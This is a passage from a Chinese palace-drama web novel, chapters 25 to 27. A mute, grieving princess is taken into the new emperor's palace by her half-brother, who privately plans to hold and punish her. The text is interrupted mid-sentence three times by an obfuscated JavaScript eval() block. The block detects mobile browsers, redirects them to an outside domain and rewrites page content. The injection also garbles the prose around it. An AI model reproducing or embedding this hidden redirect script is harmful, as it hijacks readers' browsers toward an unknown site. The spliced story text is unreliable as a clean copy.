景帝生前最疼薛柔，是以，守丧期间，薛柔伤心欲绝，几度哭死过去，眼睛肿胀，喉咙干涩，一连好几日不能言语。 看她情绪激动，恐她一时想不开，有个三长两短，皇后私下和崔介商量，权且安顿她回崔家缓缓，待出殡那日，再接回来。 每每目睹她心如死灰的模样，崔介心疼不已，不消权衡，立即表示同意。 两人是达成一致了，但难就难在，薛柔死活不肯离开梓宫半步，多劝一句，就泪流不止，连素日和她不对付的薛嘉看了，都有所动容，长吁短叹道：“十妹妹思念父皇，想最后尽一尽孝心，就成全她吧……” 若非碍于礼法，薛柔恨不能抱着父皇的梓宫，寸步不离。 见状，皇后束手无策，崔介亦无计可施。不意这日傍晚殷奠过后，太子约出崔介，说：“孤或可一试。” 起初崔介没反应过来他的用意，紧接着便听他开口：“十妹妹也许会听孤的。” 崔介不由持怀疑态度。 以他二人格格不入的关系，她焉会听之任之？ 叵奈眼下黔驴技穷，惟好死马当活马医了。 “那，微臣先谢过太子殿下了。” 偌大正殿，薛柔孤零零垂首跪于梓宫前，只惨白的长明灯与她作伴，道不尽地凄楚悲凉。 薛怀义步步靠近，脚步放得极轻，薛柔沉溺于漫漫悲情中，浑然未觉。 “妹妹，”薛怀义止步，在她身侧站定，挡住了一边灯光，“人死不能复生，同崔介回去吧。” 语气凉薄，神态冷漠，全然不见失去至亲的哀色。 薛柔斜仰着头，将其形容准确无误收入眼底，冷冷一笑，欲骂他，可这两日用嗓过度，半点声音发不出。 她不甘心，无声地唾骂他：我不想看见你，你个白眼狼！ 承继了父皇的宝座，这便急不可耐暴露真面目了！ 她一早看穿，他不值得现在优渥的生活，活生生是个坏种，合该一直丢在行宫，任他自生自灭的！ 她的一举一动、一颦一笑透露着怎样的心绪，薛怀义了如指掌，胜过对自己的了解。 “恨一个人，没有力气怎么行？”逆光之下，他的脸隐在昏暗中，但她敢断定，他的嘴角是上扬的，他在笑，小人得志地笑，“妹妹，别犟，我就在这，跑不了——” 他忽然低下身，同她的视线齐平：“随时等你回来。” 在囚一只雀儿前，愿意放她最后感受感受自由的空气……他多仁慈啊。 四目相对时，薛怀义心想。 他的挑衅，毫不掩饰，薛柔怒火中烧，恨得咬牙切齿，眼泪横流，一口气没上来，眼前一黑，轻飘飘向一侧歪倒，正入薛怀义伸出的掌心之间。 短短几日，她清减了一圈，肩头硬邦邦的，尽剩下骨头，细细的，薄薄的，像一张纸，占不满一个手心拢下去的空间，如果力气稍大些，仿佛能捏碎。 臂弯的温热，未持续多久—— 迟迟不见人出来，崔介微微不安，他莫名有一种直觉：放任太子和薛柔独处一个屋檐下，很危险。 崔介是个理性的人，从不信那虚无缥缈的感觉，而现在，当下，那缓缓沉底的心，不断提醒着他务必破例一回。 所以，他快步至殿外，瞧见薛柔闭目偎在一双臂弯，两人均侧对着他。 “太子殿下，”崔介不自觉，自然张着的手指慢慢蜷紧了，“阿柔怎么了。” 阿柔？ 呵，阿柔。 薛怀义掠一眼怀里的人，明知她无意识，仍执拗地和她在心中单方面对话： 他叫你阿柔，何其腻歪的称呼，根本不符合他的性子，他一定很喜爱你。 可那又如何？ 你现在躺在我的怀中，当着他的面，与我亲密十足，今日是，以后也将是。 “好多日茶饭不思，又一直在这跪着，身体虚，晕倒了，没什么大碍。”崔介虎视眈眈，薛怀义淡定自若，揽着薛柔起身，并无将人交出去的迹象，“也算歪打正着，三五天内，她是没力气进宫了。” 崔介关心薛柔的身体情况，更在意薛柔此刻被太子所搂抱着，即使是兄妹。 “臣这就带阿柔回家，”他上前，与薛怀义正面对上眼光，第一次逾越了君臣之间的界限，对不久后的天子展露出不满，甚至敌意，“还请太子殿下松开阿柔，阿柔的病情不容耽搁。” 薛怀义说不碍事，崔介说不容耽搁，各执一词，势如水火。 十年且忍过来了，再多一个月又算得了什么。 薛怀义坦然松手，目送崔介打横抱起薛柔，大步流星而去。 后来，薛柔大病一场，目不能视，口不能言，成日珍稀药材吃着，崔介细致入微地照顾着，至停灵期满的前夕，终见起色，双目勉强可以视物，但不可到太阳光底下去，如若非去不可，须以眼纱阻隔，至于张嘴讲话，到底不能够。 崔介详细请教过邱院判，说是悲伤过度导致心气闭塞，舌窍失司，一方面少不得按时服药将养，一方面得让病人心甘情愿跨过这个心坎，彻彻底底接受现状，心情舒畅，病症方得消退。 一夕之间痛失至亲，天底下有几个人能迅速走出来呢。 突闻噩耗以来，薛柔神志恍惚，对时间流逝的感知随之迟钝起来，隔窗望着太阳起起落落，如梦似幻。 而今日一睁眼，好似有一道惊雷在脑子里劈开，轰隆声中，她猛然记起明日便是父皇出殡的日子，忙抓住崔介的袖子，指指皇宫的方向。 崔介何尝不知她的心思，反手握住她的手腕，点点头，轻声哄着：“先喝了药，过会我带你去。” 明日过后，先帝的梓宫便会存入陵寝，那将是她送先帝的最后一程，绝对不可错过。 月上柳梢时，崔介牵着薛柔款款进入坤宁宫，皇后正等他们共用晚膳。 见眼覆纱巾、弱不禁风的女儿进门，皇后鼻子一酸，悲情无限。 走了白发人，黑发人也成了这样……作孽啊！ 为女儿的眼睛考虑，皇后有令，屋子里只留一盏灯即可，下人们照做。 俄而，屋子里暗了一大片，薛柔得以摘去眼纱，与母后执手相看泪眼。 “才好些，快别哭了，仔细眼睛疼。”皇后自个也潸然泪下，倒不管自己，先拿绢帕替女儿擦泪，“这一桌子全是你平常爱吃的，来，多多吃，吃饱喝足，明儿才有力气……” 恐更添活人心伤，皇后兜住后话，默默向碟子里夹菜，待堆了小半碟，推给薛柔，弯嘴笑一笑。 薛柔不肯再惹母后伤 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799964|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心，竭力克服了无生气的胃口，一口一口地咀嚼吞咽完毕。 出殡日，满城灰白，举国哀悼。 薛柔依依不舍，一路相送，不顾刺眼不适，脱下眼纱，亲眼目睹棺椁被抬入地宫。 苦于进不去，她只好靠着三喜，双目空洞，面色麻木，肆意沉溺于无穷凄切中，薛通走上来唤她，亦恍若未闻。 薛嘉并排所站，不由得吃了一惊，听闻她几乎死了一回，眼睛嗓子都出了问题，恐她叫天光晃坏了眼，赶忙拿手在她眼前，一面左右摇摆，一面出声：“十妹妹，你还好吗？” 薛嘉算不上大恶之人，她只是不认命，不认自己样样强过薛柔，处处比她刻苦用心，可所有人光能瞧见薛柔，而忽视她的存在的命运。 她嫉妒薛柔，嫉妒她生来众星捧月，日日过着无忧无虑的生活，不像她，千般筹谋，万般算计，最后争到手里的，屈指可数。 可她仅仅是嫉妒，并不期望薛柔真一蹶不振，而撒手人寰。 薛柔后知后觉，眼眶干痒得厉害，不得已阖眼，三喜持一方纱巾，举手为其缠绕稳妥。 “十妹妹，崔大人临时有事，先行一步，咱们一道回宫吧。” 薛通是受崔介托付。 崔家快马传讯：先帝驾崩，崔老夫人兔死狐悲，连日精神萎靡，茶饭无心。今晨忽地口喷鲜血，当场晕厥，经各路医者诊断，恐有性命之忧。 老夫人疼惜崔介，崔介不敢慢待，无奈将薛柔安顿给薛通照料，快马加鞭回城。 坐上马车后，薛通坦白崔介离开的原委。 接二连三的噩耗，简直要把薛柔压垮了，可她的泪似乎流干了，单盯着窗子外的连绵黑山发痴。 三喜同她心有灵犀，和薛通说：“九殿下，公主放心不下驸马，想回崔家看看。” 不见薛柔反驳，薛通摇头喟叹道：“妹妹，你这个样子，还是别去了，且好好在坤宁宫养病吧。” 薛柔仍然偏着头看窗外，手却悄无声息抓住了三喜，三喜心领神会，代为传达心意：“崔老夫人待公主和善，公主舍不下……” 薛通宠她归宠她，关键时候可拿得住主意，果断道：“旁的事，我全能满足你，独独此事，不行。” 怕断了念想，她又伤感不住，忙软和了语气说：“十妹妹，看顾他人的前提，是要照顾好自己啊。你还有娘娘，还有崔大人，还有我们这些哥哥姐姐，我们都盼望你早日走出阴霾，做回那个快快乐乐的小十。” 薛通也是个性情中人，越劝越心酸，隐含哭腔：“妹妹，安安心心养身体，别余的，顺其自然吧。” 薛通的一席掏心窝子话，薛柔听进去了，慢慢松开三喜，将头枕在内壁上，微末地点点头。 屋漏偏逢连夜雨。 强打精神支应完先帝后事，皇后病来如山倒，无暇照应薛柔，因割舍不下她，便叫来太子妃王媖，虚弱嘱咐：“你妹妹的情况不宜在我这耽误，就让她住去东宫，我知你是个稳重细心的人，把她交到你手里，我心才能安。” 王媖别无他言，当即命人收拾出漱玉轩，那处明亮开阔，又幽静，适合养病。 薛柔自然抗拒，然则皇后心意已决，若强硬顶撞，保不齐加重病情；几番权衡，她违拗意愿，答应搬去东宫暂住。 25. 新帝 薛柔住去东宫的第五日，崔介方才闻风，一晃神，递向崔老夫人口内的汤匙响当当滚到地上，惊得在院里晒被子的碧绦急忙丢手回屋查看。 见地上跌着一个勺子，而崔介状如失神地靠榻脚坐着，碧绦便弯腰捡起勺子，凑上前询问：“二少爷，您是不是累着了，要不然就让奴婢照顾着，您回去歇歇吧，好几日没合眼了。” 实在话，崔老夫人情况不乐观，恐怕就这三四日的活头了，寿衣、寿材等一应丧葬用品也都预备齐全了。 府里上下都心如明镜，偏偏崔介不信，或是不愿信，没日没夜守护病榻，油尽灯枯之人，哪里喝得下药，可他就是凭着一腔执念，一日三顿，顿顿不落，人人规劝，均于事无补。 崔介一颗心分开两半，一半留在此处，一半飞越重重宫墙，缠上了东宫。 她在东宫，与太子低头不见抬头见，他无论如何不能安心。 顺应真心实意，崔介站起，将药碗交与碧绦：“我有急事，出去一趟，会尽快回来的。” 太子不好应付，他无法确定顺利从东宫带她出来需要多久，只好说尽快。 云澜才牵马出来，未及崔介整装上马，余夫人不知从何处闪出来，一把抱住崔介的胳膊，容色急切：“明夷，家里闹成这副光景，你打算上哪？” 崔老夫人三个儿子，四个孙子，一个孙女，中用的区区两人而已，大儿子崔安算一个，剩下的就是崔介，而泱泱大家，光崔安一个老头子焉能照料得过来。 换言之，崔介撂挑子一走，那崔家没准就乱了。 崔介抽手，简单向余夫人解释：“皇后娘娘病了，不便照拂公主，儿子去接她回家。” 余夫人一摔手，忍无可忍：“公主生在宫中，长在宫中，多的是人给她使唤，你有什么不放心的！明夷，你是最识大体的，怎么现在变成这样？” 余夫人遥指着崔老夫人院子的方向：“你祖母没两日了，你这一去，便不怕错过你祖母的最后一面？你也休提进不进宫的，我第一个不同意！” 说罢，喝令云澜将马牵回马棚。 云澜进退两难，举步维艰，拿着马鞭不知所措。 一个崔老夫人，一个薛柔，崔介谁也割舍不下，一时踟蹰不前。 正是此时，不远处响起四声钟声，经分辨，是崔老夫人的院子。 余夫人脸色煞白，嘴唇张张合合，不知不觉流下泪来。 “祖母……” 崔介呆望这丧钟敲响的去处，心里好似被挖空一般，连动身前往也忘在脑后了。 反而是云澜，平素和老夫人的关系不照主子们那么深，心情起伏不大，尚存提醒余夫人、崔介的理智：“夫人，少爷，别争了，赶紧过去吧！” 母子俩双双回神。 余夫人看看崔介，叹道：“孰轻孰重，你自己拿主意吧！” 崔介强行恢复镇定，转头解下自己随身的玉佩，给云澜，并交代：“你套上车，火速去东宫，把公主接出来。” 云澜端着玉佩，犯了难：“万一，万一……” “没有万一，”崔介冷冰冰且肯定道，“她看了玉佩，知是我的意思，不会拒绝的。” 她厌恶太子，安肯在东宫住下去？ 一定是顾及皇后安排，不忍违背，才迫不得已为之。 时间紧迫，崔介不宜逗留，自抬腿而去。 云澜不敢懈怠，揣好玉，风风火火离家。 初临帝位，百废待兴，薛怀义日理万机，废寝忘食，无暇其他，连薛柔搬到东宫的消息，亦主动隔绝在外，直至手头上的杂事处理得差不多，有喘息之机，才通晓。 薛怀义传唤程胜——所谓一人得道，鸡犬升天，程胜摇身一变，接任龚福的位子，当上了大内总管：“十妹妹仍在东宫住着？” 登基以后，他从东宫迁至乾清宫，并非先帝生前居住的太极宫，只因他发自内心厌恨先帝，醉酒强迫他母亲后又弃如敝履，恨屋及乌，那座宫殿当然安居不下。 程胜说：“是十公主自己不情愿搬离东宫，太子妃……皇后娘娘她也不好勉强，便由公主心意了。” 新帝承祧，前朝后宫大洗牌： 尊太后为太皇太后，移居仁寿宫；尊皇后为太后，迁居慈宁宫；册太子妃为中宫皇后，居坤宁宫；先帝其余的妃嫔，按惯例安置。 前朝则以王中书令为百官之首，另外又提拔了几个官员，分别担任三省六部要职，以分散王中书令之势，谨防一家独大，功高盖主。 闻言，薛怀义浅露笑弧，褪下朝服，着一袭玄色常服，意欲往东宫探望薛柔。 到底今时不同往日，程胜追着建议：“陛下，坐龙辇过去吧。” 深剖程胜内心，其实他怀着一层向薛柔昭威耀武的意味：想当初，十公主千方百计凌辱陛下，如今陛下贵为九五之尊，手握生杀大权，何不摆一摆天子的威严，看十公主怎生是好。 程胜所想，薛怀义洞若观火，微微一笑：“不必。走一走路，顺带活动筋骨了。” 昔日打不还手，骂不还口，乃卧薪尝胆，权宜之计，并非当真怕她。 今夕身处万人之上，更用不上故意作威作福了，毕竟，她整个人都已在他的掌控之下，何必多此一举呢？ 当薛怀义漫步至东宫外之际，正碰上云澜掏玉朝守卫说明来意：“我奉我们少爷，翰林院的崔大人之命，接我们少奶奶回家养病。” 两个守卫面面相视，暗暗一寻思，驸马要带公主回家，合情合理，便让开前路，放行。 云澜松一口气，收好玉，刚刚举步，身后陆续传来“参见陛下”的声音，心下大惊，急转身行礼：“小人见过陛下……” 眼前的新帝，以前的太子，屡次三番待崔介不和气，云澜看在眼里，隐约担忧起现下的处境来。 “朕听闻崔家近日不甚太平，十妹妹身子不好，不可操心，就留在宫中休养，朕会上心的。”一如当时金銮殿外晾着崔介那次，薛怀义游刃有余地无视云澜躬低的身姿，只管动用无上威势安排他自己的，“告诉崔介，十妹妹在朕身边，一切安好，他姑且将心力使在崔家事上好了，翰林院那头，亦不消挂碍。” 公主引不回去，云澜交不了差，只得硬着头皮，鼓足勇气，尝试争取：“陛下，要不要回，该不该回，还是少不了征求公主本人的意愿的……” 程胜凑热闹凑得上头， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799965|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 端的忘记云澜此举，实属冒犯圣意，理应严厉呵斥。 薛怀义的眉峰挑起一个戏谑的角度：“朕既是一国之君，也是十妹妹的兄长，莫非你认为，这点主朕都做不得么？” 云澜诚惶诚恐，连忙告罪：“小人知错，小人告退……” 薛怀义不稀得盯着，信步入东宫，直投漱玉轩。 太子晋为皇帝，东宫跟着腾空了，各处杳无人烟，单余漱玉轩沾些人气。 登基大典于五日前举办，薛柔因病缺席，不过这等轰动，纵不参与，亦从头到尾了然于胸。 父皇一去，她高傲的心气儿随之扑灭了，加上眼、口俱备受折磨，一分的唾弃都表达不出了。 “殿下，外边晴着，日头大，您少看一会窗外，当心眼睛疼。” 三喜谨遵医嘱，既叫她每日见上半个时辰天光，又掌握尺度，绝不拖延，定时定点加以提示。 薛柔挺配合，自行往里间，避开亮处。可喜昨儿把贝贝领了来，得以撩逗一番，消遣终日苦闷。 贝贝螺旋摇尾，嘴巴张开，舌头耷拉下来，浑然不见哀愁，薛柔心头一痛。 贝贝是父皇亲手从使臣手里抱过来的，后头这些年，好吃好喝全有它一分，可它似乎不在意父皇已有一月零两天未露面了…… 转眼三十二日，这座皇宫易了主，万象始新，困在过去的人，仿佛只有她。 眼瞅她又有垂泪之意，三喜忙说：“天儿渐热了，午后容易犯困，殿下小憩一会吧，奴婢就在跟前侍候。” 四庆同三喜默契十足，叫贝贝出去洗澡。 一来无法发声，二来薛柔自己封心锁情，自愿沉默寡言，对万事万物心如死水，人说什么，她也懒得争辩，全依他们的。 她点点头，搭着三喜的胳膊，慢慢卧上床榻。 将将关上的眼皮子底下，蓦然闪现崔介的脸，她恍然忆起，与崔介分别整整五日，竟一点他的消息也没听到，便和三喜比了他名字的口型。 三喜全心扑在主子身上，对崔介及崔家，真没用心打听，搔首讪讪道：“您先睡，奴婢马上差人问询打探去。” 三喜一心二用，一边转身出门，一边盘算着谁去妥当，不料脑门结结实实撞上一个人，原以为是哪个宫女，并不以为意，道句“走路小心些”，准备走开。 “你睁开眼好好看清楚了，你撞到的人是陛下。”声源来自程胜。 他一早看不惯三喜素日狗仗人势的样儿，苦于往日无权无势，被迫万般委曲求全，逆来顺受，今朝春风得意，语气当即尖酸起来，那张瘦长脸遍布神气，倘非天子在场，不好出风头，势必刁难刻薄三喜一顿。 三喜一愣，眼珠子一点点上移，果然瞧见一张似笑非笑的玉面，仅仅一眼，骇得登时伏地参拜：“奴、奴婢有眼不识泰山，参见陛下……！” 完了，全完了，太子变成了陛下，那旧日的恩怨…… “你去做什么。“高高在上之人，轻描淡写地问。 三喜知无不言，言无不尽。 “不用去打听了，”薛怀义望向适才薛柔眺望过的碧纱窗，唇畔漾开薄笑，“十妹妹不得而知的，朕可以一字一句地替她解惑。” 26. 赎罪 薛怀义屏退左右，独自进屋，却见榻上和衣仰躺着一人，上下眼皮子盖着，小巧的鼻尖下缀一片全无血色的嘴唇。 她更病弱了，比春日的柳枝更纤细。 薛怀义走路一贯轻便，犹如鬼魅。 他直立于床前，垂低右手，虚无地抚摸着她的脸，从眉毛，经过眼睛，鼻梁，最后是像脸一样雪白的嘴唇，手法轻柔细腻，宛如在爱抚一件绝世珍品。 崔介也似这般摩挲过你的脸吗？ 薛怀义暗自发问。 悬空的手向下，向着那截半露的脖颈移动，相隔衣领，他似乎看见了一个乌黑的痣，镶嵌于一双清晰的锁骨之间。 想必，崔介也触碰过这个痣吧，用手，亦有可能是用吻？ 继续往下，微微隆起的胸脯…… 薛怀义猛收手，闭眼再睁眼，自持而冷漠。 “妹妹。” 薛柔未曾入眠，本以为屋子里的脚步声出自三喜或四庆，她们俩贴身伺候她，进进出出是常事，可这个声音…… 她惊慌张目，眼底尽溺着防备，随手抽出一旁的枕头，掷了出去。 薛怀义不躲，从容接下攻击，唇线一弯：“只是拿枕头打么？” 他来得仓促，不曾仔细过问她的病情，故不知她现今口不能言。 薛柔撑着床铺下地，直站着怒视他，随即张开胳膊，指着门口下逐客令。 光见她怒然比画，迟迟不闻她尖脆的叫骂声，薛怀义略略存疑，笑意却不减：“妹妹就算厌朕，也不该一言不发。” 朕？他自称朕？ 薛柔终于肯调动沉寂多日的神智，加以思索。 莫非，他已经登基了？ 薛怀义对她了如指掌，知她当下因何所惊疑，笑道：“妹妹日后应当改口了，须唤朕一声皇兄。” 皇兄？他也配！ 薛柔忍不得，扯起他的袖子往外头走，怎敌自身不济，虚弱不堪，而他又无告辞之意，半步腾挪不开。 她愤恨难耐，回头环顾，照窗台摆设的一个青瓷花瓶过去，抱在怀里，正冲前面人模人样的薛怀义扔出去。 花瓶在薛怀义的脚尖四分五裂。 “你嗓子怎么了？” 薛怀义终于察出名堂：她宁肯费力搬花瓶砸他，但就是不开口，不是她刻意回避，实为客观受限——她似乎无法启齿讲话。 薛柔别过头，嘴巴抿得严严密密。 “来人。”薛怀义不逼问到底，等程胜进来，惜字如金道：“传吴院判。” 前朝后宫的大更迭，同包括太医院——三日前，邱院判自上奏，告老还乡，薛怀义慨然同意，并拔擢吴太医继任院判。 吴院判匆忙到达。薛柔已被一只强有力的大手按回床榻，隔两层纱帐问诊。 吴院判虽新官上任，医术却老练精湛，精准道出关键症结，与彼时邱院判的诊断如出一辙，千言万语归作一句：心病还须心药医。 薛怀义容光晦暗，摆手叫程胜送吴太医，他则拨开层层软纱，默然俯视一般表现的薛柔。 终究是他禁不住一团死气，出言：“斯人已去，妹妹打算自暴自弃到何时？” 他不希望她就此失声，变作一个哑巴，说是害怕也不为过。 她多年铸就的罪孽，仅仅用一副身子偿还怎么够？ 他要从她的嘴里，听见她求生不能求死不得时的畏惧，求饶，忏悔……这世间所有的话语，一个字也不能错过。 她必须好起来，毫厘不差地为自己的歹毒而赎罪！ 薛柔撇开脸，不予理会。 薛怀义突然哂笑：“妹妹怕是忘记，你的好驸马仍在崔家苦苦等待你痊愈而归了。” 她的软肋，又添了一个，慢慢代替了他的存在，一言一行皆牵动她的心肠。 果然，薛柔来了精神，作势离开去寻崔介，可惜，薛怀义眼疾手快，擒她在手，纹丝动弹不得。 “娘娘将妹妹托付于朕，朕当顾妹妹周全。”薛怀义脸不红心不跳，抓住那寸皓腕，不费吹灰之力往门外带，“东宫冷清，不宜养病，随朕去乾清宫，朕亲自照管妹妹。” 薛柔以空闲之手捶打他，发出抗议。 薛怀义当然知晓她为何而抗拒，停住脚，笑吟吟道：“太后嘱咐的皇后，而皇后与朕同气连枝，由朕来管你，有何不妥？” 太后，皇后，一个比一个陌生的称呼。 薛柔心乱如丝，无法坦然接受降临到自己头上的物是人非之现状，拼命挣扎起来。 “啧。” 薛怀义不屑继续伪善，不顾她扭得红到发紫的手腕，硬拖着人出门。 今日万里无云，炽烈的日光射下来，刺得薛柔睁不开眼。 三喜在外头候命，担心哪茬来哪茬，抛开胆怯，迎上去举手替薛柔挡住阳光，挥泪如雨道：“陛下何苦！公主她眼睛坏了，看不得光，难道陛下非要逼公主彻底失明才觉痛快吗……？” 薛怀义不知情。 薛柔目不能视，他不知情。 他撒开对她的桎梏，幽幽看了她很久，冷冷说：“眼睛不好，那便以纱蔽目。总之，东宫住不得了。” 三喜别无他法，含泪取了纱巾，为薛柔戴好，叫上四庆，随圣驾去往乾清宫。 奉王媖口谕，银杏上东宫探望薛柔，聊表关怀，不期半道上瞭见前方浩浩荡荡一行人，陛下在，薛柔也在。 银杏瞠目结舌，趁无人注意，下意识逃开，抄小路飞奔回坤宁宫，一五一十说明原委。 王媖百无聊赖，正端着绣活消磨时光，闻知之心尖一颤，手下由之出了闪失，尖利的银针偏离轨迹，刺破食指指腹，血点蔓延，迅速汇聚成豆大的一滴，滚落于已具雏形的绣品上，明显污了一块，前功尽弃。 “你可瞧仔细了，休得妄言。” 银杏急得直拍手辩解：“奴婢的眼神再不会出错，明明白白就是陛下和十公主！那三喜和四庆还都背着包袱，竟不晓得要干什么……” 银杏真不懂，王媖却是不敢猜，可先有太后所托，不得不插手。 王媖无可奈何一叹息，把针线搁回笸箩，起身说：“帮我稍微打扮打扮，我去乾清宫一趟。” 东宫的对峙落幕，崔家的纷乱刚上演。 云澜被吓破了胆，连滚带爬赶至崔家，前后左右一打听，一道寻觅至正堂，见崔介正同崔安商议老夫人的丧葬事宜。 崔介整个人俱是万里挑一的，眼神亦然，一眼捕捉到鬼鬼祟祟、犹犹豫豫的云澜，精简语言，加快效率议完事，恭送走大伯崔安，招手示意云澜来回话。 “公子，小人办砸了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15799966|175083||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 云澜哭丧着脸，如是这般讲清楚在东宫的前因后果。 崔介面色铁青，一声不吭，唬得云澜触地，一把鼻涕一把泪地请罪。 “够了，”崔介说时，眼光转向西北方，那里坐落着皇宫，“备马，我亲自接公主回家。” 不是东宫那个虎狼窝，而是属于他们彼此的家。 云澜很是消极，磨蹭着不动：“公子别不爱听，在宫里，谁敢对公主怎么着，倒是您，咱们家眼下可离不开您啊，全等您主持大局呢！您若实在不放心公主，好歹熬过这个节骨眼，不过十来日，您急什么……” 崔介扶额，重重叹气：“你说得对，是我进退失据了。” 他顿一顿，继续说：“我不去罢了，但不能坐视不管。你立刻去寻九殿下，拜托他看一看公主，确认她的安危，如果可以，请他将这玉转交公主，并告诉她，我料理完家中的杂事，第一时间去接她。” 各退一步，云澜答应着去办。 崔介尽力按下违心的感觉，一头投入焦头烂额的繁忙中。 薛怀义正端坐暖阁一角处理公务，王媖捧一杯热茶走进来，轻轻放下，温言款语道：“陛下，吃点茶，顺便让眼睛松快松快吧。” 薛怀义头未抬，依旧挥笔圈点着一本本奏折：“先放着吧，过会再吃。” 有道是至亲至疏夫妻，可王媖与薛怀义之间，唯有至疏。 王媖淡淡一笑，坐去他对面，静静看他挥毫弄墨。 “皇后，”薛怀义顿笔，掀起眼帘瞥她，“想问什么，便问吧。” 王媖不尴不尬笑笑，字斟句酌道：“十妹妹在东宫宿着挺好，陛下何故接她到乾清宫？” “皇后这是在质问朕么？” 薛怀义平视王媖，面无涟漪，难辨喜怒。 王媖一时懊悔过于直白，忙澄清：“臣妾不敢，臣妾只是关心则乱，毕竟十妹妹如今这个模样，少走动为妙。” 薛怀义无意问责，见其态度谦卑，倒沾了些许人情味：“你是好意，朕也是好意。薛柔是朕的妹妹，凭她孤零零在东宫，朕不能顺心，亦辜负了太后旧日对朕的教养之恩。” 伪装君子，这是薛怀义最拿手的，若不然也无法取信于先帝，那么当今这皇位自然成不了他的囊中之物。 他的阴暗面，仅对心腹程胜及薛柔展现过。 前者，拜他所赐得以鲤鱼跃龙门，如想下半生无忧，那必须依附他而活；后者，即日起，会作为他之掌中物，任他摆布，最终了此残生。 他的措辞面面俱到，王媖若怀有异议，等同于枉顾人伦纲常。 “那……不妨使十妹妹挪去坤宁宫，她在此生长，住着也习惯。另外，臣妾毕竟不似陛下日无暇晷，臣妾有大把时间照拂她，陛下专心实现凌云之志即可。如此，不失为两全其美。” 可王媖固执地试图争取一番。 她已决定彻底了断往昔执念，痛改前非，决意守好皇后的位子，尽职尽责，同皇帝相敬如宾，举案齐眉，那中间横着一个薛柔，又算什么呢。 薛怀义与薛柔间的爱恨情仇，容不得第三人插足，崔介不行，王媖亦不行。 “朕意已决，勿再多提。”他态度明确，不容动摇。 事已至此，王媖且得维护脸面，打住口，表示妥协。 27. 绝情 先帝大殓后，薛通便返回军营，以繁重的军务来麻痹自己，缓解丧父之痛。 手下通报云澜在外求见时，他正在校场射箭，挥汗如雨。 “让他进来。” 准许过，他三箭连发，均中靶心，而后搁置弯弓，就地坐到石阶上，等候人来。 云澜风尘仆仆地来，片刻不敢停歇，和盘托出诉求，最后取出玉佩，双手呈给薛通：“殿下，这事只有您出面了。” 薛通二话不说，向手下讨了干净手帕揩干手汗，郑重接过玉，边走边说：“正好我也有些日子没见十妹妹了。” 手下牵来一匹乌骓，他纵身跃上马背，俯看云澜：“你回去等信吧。” 言毕，拨转马头，策离校场。 晌午出发，傍晚拾掇周正上东宫，却才得知，薛柔已随新帝移至乾清宫，于是改路，投奔正经去处。 薛怀义将薛柔安置在了上书房隔壁的暖阁，可谓来去自如。 薛通不知内情，瞅着上书房过来。 程胜接引一路，于游廊尽头停步，说是得先禀报。 万事得讲究个规矩方圆，薛通安然等待。 稍时，程胜携圣意折返，引领他拜见龙颜。 “臣弟叩见陛下。” 屋子中央，薛通端行大礼，俯首称臣。 薛通虽年少成名，但贵在待人接物谦逊随和，从不以功高自居，是以，薛怀义并不反感这个兄弟，即叫他免礼平身，兼示意下人奉上好茶款待。 薛通不敢弗了人情，吃了小半盏茶，方才点明来意：“陛下，听说十妹妹越发不好了，臣弟揪心难安，想去看一看。” 前有崔介的小厮，后有薛通，间隔不到半日…… 薛怀义暗暗讥笑，这里头大有文章呢。 “是你自己要来，还是有人给你通风报信，托你来的？” 作为一国之君，他无须拐弯抹角，开门见山就是。 薛通和薛怀义接触不多，对他的印象尚且停留在性子温吞、沉默寡言上，未料及他身负如此高明的洞察力，不由一惊，所幸掩饰得当，仍可自然应答：“是臣弟自己心里忐忑，不立时见着十妹妹就坐立不安，才专程走这一遭的。” 薛通故意隐瞒的事实，薛怀义一目了然。 他看了他挺久，看得薛通隐隐发毛。 “九弟同十妹妹自小要好，你们聚一聚，也是好的。” 薛通忙起身称谢。 放薛通夹带崔介的私心见她，并非薛怀义心善，实是他自己拿薛柔的病没辙，而他又太想让她能张嘴说话，嘲讽也好，谩骂也罢，只要她字字有回应，念及此，才做了一回好人——以她和薛通深厚的情分，与薛通团聚，她心情应当很好，有助于恢复身体。 薛柔现在就是个纸糊的美人灯，受不得一星半点刺激，薛通牢记在心，进暖阁之前，长吸一口气，藏好这些天的颓靡之色，喜滋滋入内：“十妹妹，瞧我给你带什么来了。” 薛柔抱腿缩在床角一脸痴色，闻声，双目一亮，松开双腿下地，一脑门扑进薛通怀里，抽泣不止。 九哥哥，你怎么才来，你可知我如今有多煎熬…… 她没法说话，单在心间埋怨着。 三喜深有感触，抹一把泪，强颜欢笑地去接薛通手心拎着的纸包，掂量起来有些分量，观其外形，像几本书。 